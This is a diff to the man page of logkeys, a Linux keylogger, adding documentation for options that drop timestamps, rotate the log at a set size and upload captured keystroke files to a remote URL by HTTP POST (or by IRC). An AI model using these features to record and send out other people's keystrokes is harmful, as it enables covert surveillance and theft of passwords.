This option makes logkeys log all and only character key presses
......@@ -83,10 +96,42 @@ This option makes logkeys log all and only character key presses
This option may be useful when correct \fIkeymap\fR can reliably be
expected (i.e. by providing it with \fB-m\fR option). Then only character keys are
logged, influenced by Shift and AltGr modifiers.
.TP
\fB-\-no-timestamps\fR
When this option is set, logkeys doesn't prepend timestamp to each line of log file.
Timestamps are only logged when logkeys starts and stops.
.TP
\fB-\-post-size=\fISIZE\fR
When log size reaches \fISIZE\fR, the current log filename is appended \fI.X\fR,
where X is ascending number (e.g. \fIlogfile.1\fR).
.IP
When that happens, logkeys starts remote uploading process and all \fIlogfile.X\fR
files are uploaded as specified by \fB--post-http\fR or \fB--post-irc\fR options.
.IP
If \fB--post-size\fR is set, but no post method is set (i.e. neither \fB--post-http\fR
nor \fB--post-irc\fR), then the logfile is only truncated when it reaches
\fISIZE\fR, renamed to \fIlogfile.X\fR, and a new blank logfile is created for
active logging.
.IP
\fISIZE\fR can be an integer bytesize, or an intger followed by K or M for kilobytes
or megabytes, respectively.
.TP
\fB-\-post-http=\fIURL\fR
This option tells logkeys to POST the log file to URL, where it is preferrably greeted
by a (PHP) script.
.IP
The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it
is accessible in PHP via $_FILES variable.
